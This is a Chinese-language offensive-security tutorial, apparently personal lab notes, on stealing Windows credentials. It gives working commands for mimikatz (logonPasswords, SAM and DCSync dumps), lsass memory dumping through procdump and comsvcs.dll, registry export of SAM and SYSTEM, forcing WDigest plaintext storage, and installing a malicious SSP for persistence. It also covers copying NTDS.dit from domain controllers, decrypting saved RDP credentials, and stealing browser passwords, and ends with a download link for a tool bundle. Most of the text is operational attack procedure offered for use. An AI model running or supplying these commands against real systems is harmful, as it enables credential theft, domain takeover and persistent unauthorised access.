密码抓取

抓取密码的主要目标

几款抓取密码工具

1,2两个工具直接命令行打开无脑运行

  1. getpassword

  2. pwdump7

这两个文件必须要在一起才能运行

  1. Mimikatz

项目地址https://github.com/gentilkiwi/mimikatz/

首先命令行运行一下再提升到debug权限

输入sekurlsa::logonPasswords抓取到密码

Mimikatz经常使用,功能也很强大,常用模块和命令如下

  1. QuarksPwDump在Windows本地认证中用过了

  2. CS自带工具、MSF工具

在线读取SAM文件中的Hash值

  1. 使用mimikatz读取

条件权限:administrator 或 system 或 过了UAC认证的普通管理员

依次执行以下三条命令可以读取

privilege::debug

token::elevate

lsadump::sam

或者合并这三条命令,记住一定要exit,不然CS卡住

mimikatz.exe "privilege::debug" "token::elevate" "lsadump::sam"
exit

  1. 使用CS自带的工具导出

右键执行

结果如下

离线读取SAM文件中的Hash值

在线读取我们上传的工具有可能被杀软杀掉,离线读取可以避免,就是先将SAM文件和密钥system导出到目标机器,再通过CS下载到我们本地。

需要高权限用户!!!

方法①用操作注册表导出

reg save hklm\sam sam.hive

reg save hklm\system system.hive

方法②用powershell脚本导出

将脚本放到CS服务端的目录下,然后在CS导入脚本再运行

powershell-import Copy-VSS.ps1

powershell Copy-VSS

本地读取,用mimikatz,注意在同一个目录下和文件名,管理员运行mimikatz

lsadump::sam /sam:sam.hive /system:system.hive

文件名从CS下载下来是乱的,需要自己改

在线读取lsass进程内存密码

  1. 通过mimikatz读取,见它的用法

  2. 通过CS插件,其实本质上也是用mimikatz读取

离线读取lsass进程内存密码

  1. 通过任务管理器导出lsass.DMP,前提是已经远控了目标主机

  1. 通过上传procdump.exe工具导出

ProcDump
是一个命令行实用工具,其主要用途是在管理员或开发人员可用于确定峰值原因的峰值期间监视
CPU 峰值和生成故障转储的应用程序,微软的一般不会被杀软杀掉。

procdump.exe -accepteula -ma lsass.exe lsass.dmp

亲测第二次就不用-accepteula参数了

  1. 使用powershell的Out-MiniDump.ps1脚本

CS导入powershell-import Out-MiniDump.ps1

执行powershell Get-Process lsass | Out-Minidump

  1. 通过系统自带的comsvcs.dll导出

首先命令行查看lsass的进程PIDtasklist | findstr lsass.exe

然后rundll32 C:\windows\system32\comsvcs.dll,MiniDump 476
C:\Users\Administrator\Desktop\lsass.dmp full

这条命令我用命令行和CS都没有导出来,用PowerShell导出来了

rundll32 C:\windows\system32\comsvcs.dll,MiniDump PID号 导出地方 full

针对导出的文件进行读取

mimikatz.exe "sekurlsa::minidump lsass.dmp" "sekurlsa::logonPasswords
full"

密码抓取-高版本系统

Win7、
Win2008这样的机器内存中是存储明文的密码,但是在2012之后的机器(win10、win
8、win11、
2012、2016)或者安装了KB2971997补丁是内存中就不在存储明文的密码了,我们无法通过上述的方法
抓取到明文的密码。

修改Wdigest注册表获取系统密码

修改注册表之后内存可以存在明文抓取,但是需要用户重新登录后才能成功抓取。

1.首先查询一下注册表有没有开启这个功能

reg query
"HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest"
/V UseLogonCredential

没有开启就是这个样子

2. 修改UseLogonCredential值为1,这里注意一定要是最高管理员权限

reg add
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest
/v UseLogonCredential /t REG_DWORD /d 1 /f

关闭则是将上述命令由1—>0即可

再次查询,这就是开启状态

3.锁屏或者注销当前用户,让他重新登录把密码存一份给内存抓取

实验测试win10得注销,server锁屏就可以了

锁屏rundll32.exe user32.dll,LockWorkStation

注销query user (//查询登录)

logoff 用户ID值

再次抓取即可成功,最好用mimikatz最新版

内存注入SSP获取系统密码

Mimikatz中,有写好的恶意的SSP,他可以提供本地认证时候对明文账号密码进行记录,我们需要将SSP注入到系统内存中,就可以获取本地的明文账号密码,因为是注入内存所以重启后就失效了

misc::memssp

然后就像前面一样锁屏or注销,等待管理员输入账号密码

结果会自动保存在C:\Windows\System32\mimilsa.log

但是有个问题!!!这种方法在CS上是读取不了这个文件的(我用administrator权限好像也能直接读,反正读不了就用下面的方法)

解决办法:创建计划任务copy到桌面

  1. 首先可以创建一个bat文件,作用是copy目标到桌面为1.txt

echo copy C:\Windows\System32\mimilsa.log
C:\Users\Administrator\Desktop\1.txt > 1.bat

  1. 试试运行1.bat,运行不了就创建计划任务

schtasks /create /tn copy /sc onstart /tr
C:\Users\Administrator\Desktop\1.bat /ru system /f

  1. 然后运行这个计划任务,copy是命名的计划任务名

schtasks /run /I /tn "copy"

然后桌面正常情况下就运行了1.bat程序,生成了1.txt文件

注册表添加SSP

内存注入的SSP,对方重启一下就失效了,所以我们要把SSP添加进注册表,就算对方重启之后也还是可以抓到密码。但是要过杀软以及持久化后门,或者自动发送到我的云端,才能读取生成之后的文件。

在Mimikatz中有一个mimilib.dll文件,这个就是SSP,将这个文件复制到
目标主机的C:\Windows\System32目录下。

然后添加注册表

reg add HKLM\SYSTEM\CurrentControlSet\Control\Lsa /v "Security
Packages" /t REG_MULTI_SZ /d mimilib.dll /f

生成的密码文件在C:\Windows\System32\kiwissp.log中

密码抓取-域控

域控上的域内账户密码存储在C:\Windows\NTDS里面

使用卷影拷贝提取域控NTDS

首先在域控本地进行测试,卷影拷贝就相当于拍快照。

给电脑C盘拍一个快照再去快照里面复制NTDS文件。

(一)使用ntdsutil.exe工具进行拷贝

ntdsutil.exe是一个为活动目录提供管理机制的命令行工具,该工具默认安装在
域控服务器上,可以在域控制器上直接操作.

第一步:创建一个NTDS快照

ntdsutil.exe snapshot "activate instance ntds" create q Local
Destination

可以看到成功生成快照,uid为{12f9f986-d7e6-4653-baa8-2684b7e6ce1f},保存下来,后面要用到它。

第二步:加载快照到磁盘中

ntdsutil.exe snapshot "mount {12f9f986-d7e6-4653-baa8-2684b7e6ce1f}" q
q //这里就要那个uid了

可以看到快照的地址为C:\$SNAP_202312221759_VOLUMEC$\

第三步:复制快照中的ntds.dit文件

copy C:\$SNAP_202312221759_VOLUMEC$\Windows\NTDS\ntds.dit
C:\Users\Administrator\Desktop\ntds.dit

第四步:删除快照

ntdsutil.exe snapshot "umount {12f9f986-d7e6-4653-baa8-2684b7e6ce1f}"
"delete {12f9f986-d7e6-4653-baa8-2684b7e6ce1f}" q q

上述命令意思为先取消挂载,再删除

(二) 通过vssadmin工具进行拷贝✔

vssadmin是Windows Server 2008及Windows
7系统以上提供的VSS管理工具,它可以用于
创建或删除卷影副本,列出卷影副本的信息。

第一步:创建一个C盘快照

vssadmin create shadow /for=c:

第二步:将快照中的NTDS文件进行复制出来

copy
\\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy2\windows\NTDS\ntds.dit
C:\Users\Administrator\Desktop\ntds.dit

最后一步就是删除快照

vssadmin delete shadows /for=c: /quiet

(三) 通过IFM方式进行拷贝

可以通过创建一个 IFM 的方式获取 ntds.dit,在使用 ntdsutil
创建媒体安装集(IFM)时, 需要进行生成快照、加载、将 ntds.dit 和计算机的
SAM 文件复制到目标文件夹中等操作。

ntdsutil "ac i ntds" "ifm" "create full c:/test" q q

上述命令需要提前在C盘下创建一个test文件夹并且为空。

(四) 通过vssown脚本(VBS)进行拷贝

第一步:启动卷影复制服务(可以直接用命令行)

cscript vssown.vbs /start

第二步:创建一个C盘的卷影副本

cscript vssown.vbs /create c

第三步:列出当前卷影副本

cscript vssown.vbs /list

第四步:复制文件到指定的目录

copy
\\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy4\windows\NTDS\ntds.dit
C:\Users\Administrator\Desktop\ntds.dit

这一步我用powershell复制好像没成功,估计不支持copy命令

第五步:删除卷影副本

cscript vssown.vbs /delete {ECB45641-528C-40BD-BE72-38C062FC8213}

把花括号里面的id值替换为前面list出来那个第一行的ID值

这里我用powershell也是没删除成功,总结:不是ps脚本的时候还是用命令行好一些。

(五) 通过Copy-VSS.ps1脚本导出

第一步先导入 Import-Module .\Copy-VSS.ps1

第二步直接运行 Copy-VSS

(六) 通过Invoke-NinjaCopy脚本导出

离线读取NTDS文件中的Hash值

因为system.hive里存放着ntds.dit的秘钥,所以需要转储system.hive,不然没法查看ntds.dit里内容。

reg save hklm\system C:\Users\Administrator\Desktop\system.hive

下面工具我试了一下,用ntds和SYSTEM文件还读取不了欸,只能导出ntds.dit和system.hive进行读取

(一)secretsdump.exe 工具读取✔

secretsdump.exe -system system.hive -ntds ntds.dit LOCAL

(二)NTDSDumpEx.exe工具读取

NTDSDumpEx -d ntds.dit -s system.hive -o 1.txt

这种方法我在上个工具读取之后,这个工具继续读取不了,我重新在域控上用另一种方法抓取的ntds.dit和system.hive才读取成功,并且没有上个工具详细。

(三)esedbexport工具读取

这个工具读取操作得麻烦一些,没有去复现,但是读取得很详细

esedbexport是linux下的工具,在python2环境下运行。

步骤如下:

1.先下载这个工具包,然后进入到这个目录打开终端

./configure

make

make install

Idconfig

2.提取ntds文件内容

esedbexport -m tables ntds.dit

3.安装 ntdsxtract工具

python setup.py build

python setup.py install

注意:如果提示 Import Error: No module named Crypto. Hash,请执行pip
install pycryptodome

4.将ntds.dit.Export和system.hive文件放入到esedbexport工具的文件夹中,然后导出哈希值,最后的结果将保存在txt里

python dsusers.py datatable.4 link_table.7 output --syshive system.hive
--passwordhashes --pwdformat ocl --ntoutfile ntout --lmoutfile lmout
| tee 1.txt //读取用户信息

python dscomputers.py datatable.4 computer_output --csvoutfile 2.csv
//读取机器信息

在线读取NTDS文件中的Hash值

取在线读取需要考虑几个问题:

1、工具是否被杀软杀掉

2、如果域太大读取时间太久容易死机

(一)使用MimiKatz ✔

lsadump::dcsync /domain:abc.com /all /csv //读取所有

lsadump::dcsync /domain:abc.com /user:administrator //读取单个用户

(二)QuarksPWDump工具

QuarksPWDump.exe --dump-hash-domain --ntds-file ntds.dit

Ntds这个文件必须先要导出来

这个工具测试的时候,我用了第二种方法拷贝出来的ntds文件它读取不了数据库,清空回收站后用了第三种方法拷贝的ntds,反正不行就多试试。

(三)Invoke-DCSync.ps1脚本

Import-Module .\Invoke-DCSync.ps1 //导入

Invoke-DCSync //直接运行

显然这个脚本抓取得不全

Dcsync原理以及攻击

Dcsync(Domain Controller
synchronization)域控同步:在内网中一般不是一个域控,会有域树或者域森林等,域控之间是要同步数据的,不同的域控15分钟之间要发起一次数据同步的请求,请求里面就包含同步的数据,这里采用的协议是DRS(目录复制服务),这个就是DCsync。

要运行这个DRS服务,需要什么用户才能运行呢?(即权限问题)

1. Administrators组内的用户

2. Domain Admins组内的用户

3. Enterprise Admins组内的用户

4. 域控制器的计算机帐户

域控的Administrator 和 system 也可以

2015年8月,发布了新版本的Mimikatz,新增加了DCSync功能。该功能可以模仿一个域控制器,从真实的域控制器中请求数据,例如用户的哈希。该功能最大的特点就是不用登录域控制器,即可远程通过域数据同步复制的方式获得域控制器上的的数据。

关于Dcsync的利用思路

1、找到有权限的用户,从而远程读取域控用户信息,可以进行PTH黄金白银票据攻击

2、如果控制了域控,可以在域控添加一个管理员账号从而进行权限维持

3、可以添加一个普通的用户,修改ACL从而实现可以使用Dcsync,进行权限维持。

利用Dcsync远程读取域控Hash

直接在域控上面进行下面的操作肯定是可以的,接下来我们在另一台域内主机上面进行操作,假设是拿下了登录域管理员zhangsan的主机

(一)使用MimiKatz

也就是前面利用mimikatz在线读取域控密码的那两条命令

lsadump::dcsync /domain:abc.com /all /csv //读取所有

lsadump::dcsync /domain:abc.com /user:administrator //读取单个用户

当我把zhangsan从域管理员组踢出去之后,用mimikatz肯定就是读取不了了

(二)secretsdump工具

secretsdump.exe 域名/用户名或者hash:密码@IP

当域控没有开启445端口的话是不可以的,secretsdump时无法和域控建立SMB连接,报错如下

将域控服务重启后还是这样连接不上,排查到原因如下:

我的密码是以@结尾的,后面还有一个@IP,估计是把我第一个@前面的当作密码了连接不上,解决方法是先不输入密码,留空回车之后再输入就可以了

然后就能抓取到了,不管是登录的普通用户还是管理员用户,只要知道域管的账户密码都可以抓取到。(用hash我试了没成功)

利用DCSync可以获取明文凭据,这是因为账户勾选了”使用可逆加密存储密码的属性”,这就属于管理员配置问题了,全看运气

但是这个勾选或者取消之后要更新密码才会生效

RDP密码凭据抓取

RDP明文密码抓取的原理:当远程桌面连接之时点击了”保留凭据”,Windows会在本地中将密码通过MasterKey进行加密存储,但是这个过程是可逆的,所以我们可以将保存的密码进行还原。

查看凭据的方法:

1、查看mstsc的连接记录

cmdkey /list

2、查找本地的Credentials

dir /a %userprofile%\appdata\local\microsoft\credentials\*

利用mimikatz在线读取

  1. 使用mimikatz获取该文件的MasterKey的guid

mimikatz dpapi::cred /in:凭据绝对路径

  1. 找到lsass内存中对应的MasterKey

mimikatz sekurlsa::dpapi

上面情况就是当前用户没有权限去读内存。要以管理员身份运行命令行并用debug权限

  1. 最后打开mimikatz通过MasterKey值去解密凭据文件

dpapi::cred /in:凭据文件绝对路径 (空格)/masterkey:masterkey值

离线读取RDP明文密码

下载目标lsass内存

下载凭据到本地

用mimikatz载入dump回来的内存

Sekurlsa::minidump lsass.DMP

然后步骤就跟前面在线读取一样了,在本地主机Win11测试的,完全能行

系统应用密码抓取

浏览器密码抓取

Sharp-HackBrowserData工具,谷歌、火狐、IE、Vivaldi等常见的浏览器都能抓✔

https://github.com/moonD4rk/HackBrowserData

BrowserGhost浏览器抓取,主要抓火狐的。

https://github.com/QAX-A-Team/BrowserGhost

上面两个工具直接运行即可。

这些工具呢CS上面的插件都自带了,也可以直接用,比如说欧拉、梼杌、拉冬

其他软件密码抓取

SharpDecryptPwd工具:https://github.com/uknowsec/SharpDecryptPwd

密码抓取工具

链接:https://pan.baidu.com/s/1vrONVp_cJwyzDil1B6vo3Q?pwd=woli

提取码:woli